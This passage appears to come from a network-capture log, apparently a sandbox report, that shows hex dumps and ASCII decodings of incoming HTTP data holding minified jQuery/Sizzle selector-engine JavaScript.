G.apply(d,b.getElementsByClassName(f)),d}if(c.qsa&&!A[a+" "]&&(!q\|\|!q.test(a))){if(1!==w)s=b,r=a;else if("object"!==b.nodeName.toLowerCase()){(k=b.getAttribute("id"))?k=k.replace(ba,ca):b.set
2024-07-12 05:27:16 UTC	1378	IN	Data Raw: 65 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 3a 62 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 3a 62 2e 69 73 44 69 73 61 62 6c 65 64 3d 3d 3d 61 7c 7c 62 2e 69 73 44 69 73 61 62 6c 65 64 21 3d 3d 21 61 26 26 65 61 28 62 29 3d 3d 3d 61 3a 62 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 3a 22 6c 61 62 65 6c 22 69 6e 20 62 26 26 62 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 61 28 61 29 7b 72 65 74 75 72 6e 20 69 61 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 62 3d 2b 62 2c 69 61 28 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 76 61 72 20 65 2c 66 3d 61 28 5b 5d 2c 63 2e 6c 65 6e 67 74 68 2c 62 29 2c 67 3d 66 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 67 2d 2d 29 63 5b 65 3d 66 5b 67 5d 5d 26 26 28 63 5b 65 5d 3d 21 28 64 5b 65 Data Ascii: e.disabled===a:b.disabled===a:b.isDisabled===a\|\|b.isDisabled!==!a&&ea(b)===a:b.disabled===a:"label"in b&&b.disabled===a}}function pa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e
2024-07-12 05:27:16 UTC	1378	IN	Data Raw: 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 63 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 63 26 26 63 2e 76 61 6c 75 65 3d 3d 3d 62 7d 7d 2c 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 2c 64 2c 65 2c 66 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 3b 69 66 28 66 29 7b 69 66 28 63 3d 66 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 2c 63 26 26 63 2e 76 61 6c 75 65 Data Ascii: n function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c,d,e,f=b.getElementById(a);if(f){if(c=f.getAttributeNode("id"),c&&c.value
2024-07-12 05:27:16 UTC	1378	IN	Data Raw: 62 6c 65 64 3d 27 64 69 73 61 62 6c 65 64 27 3e 3c 2f 61 3e 3c 73 65 6c 65 63 74 20 64 69 73 61 62 6c 65 64 3d 27 64 69 73 61 62 6c 65 64 27 3e 3c 6f 70 74 69 6f 6e 2f 3e 3c 2f 73 65 6c 65 63 74 3e 22 3b 76 61 72 20 62 3d 6e 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6e 70 75 74 22 29 3b 62 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 79 70 65 22 2c 22 68 69 64 64 65 6e 22 29 2c 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 62 29 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 61 6d 65 22 2c 22 44 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 6e 61 6d 65 3d 64 5d 22 29 2e 6c 65 6e 67 74 68 26 26 71 2e 70 75 73 68 28 22 6e 61 6d 65 22 2b 4b 2b 22 2a 5b 2a 5e 24 7c 21 7e 5d 3f 3d 22 29 2c 32 21 3d 3d 61 2e 71 75 65 72 79 53 Data Ascii: bled='disabled'></a><select disabled='disabled'><option/></select>";var b=n.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+K+"[^$\|!~]?="),2!==a.queryS
2024-07-12 05:27:16 UTC	1378	IN	Data Raw: 44 6f 63 75 6d 65 6e 74 3d 3d 3d 76 26 26 74 28 76 2c 62 29 3f 31 3a 6b 3f 49 28 6b 2c 61 29 2d 49 28 6b 2c 62 29 3a 30 3a 34 26 64 3f 2d 31 3a 31 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 3d 3d 3d 62 29 72 65 74 75 72 6e 20 6c 3d 21 30 2c 30 3b 76 61 72 20 63 2c 64 3d 30 2c 65 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 66 3d 62 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 67 3d 5b 61 5d 2c 68 3d 5b 62 5d 3b 69 66 28 21 65 7c 7c 21 66 29 72 65 74 75 72 6e 20 61 3d 3d 3d 6e 3f 2d 31 3a 62 3d 3d 3d 6e 3f 31 3a 65 3f 2d 31 3a 66 3f 31 3a 6b 3f 49 28 6b 2c 61 29 2d 49 28 6b 2c 62 29 3a 30 3b 69 66 28 65 3d 3d 3d 66 29 72 65 74 75 72 6e 20 6c 61 28 61 2c 62 29 3b 63 3d 61 3b 77 68 69 6c 65 28 63 3d 63 2e 70 61 72 65 6e 74 4e 6f 64 65 29 67 2e 75 6e Data Ascii: Document===v&&t(v,b)?1:k?I(k,a)-I(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,g=[a],h=[b];if(!e\|\|!f)return a===n?-1:b===n?1:e?-1:f?1:k?I(k,a)-I(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)g.un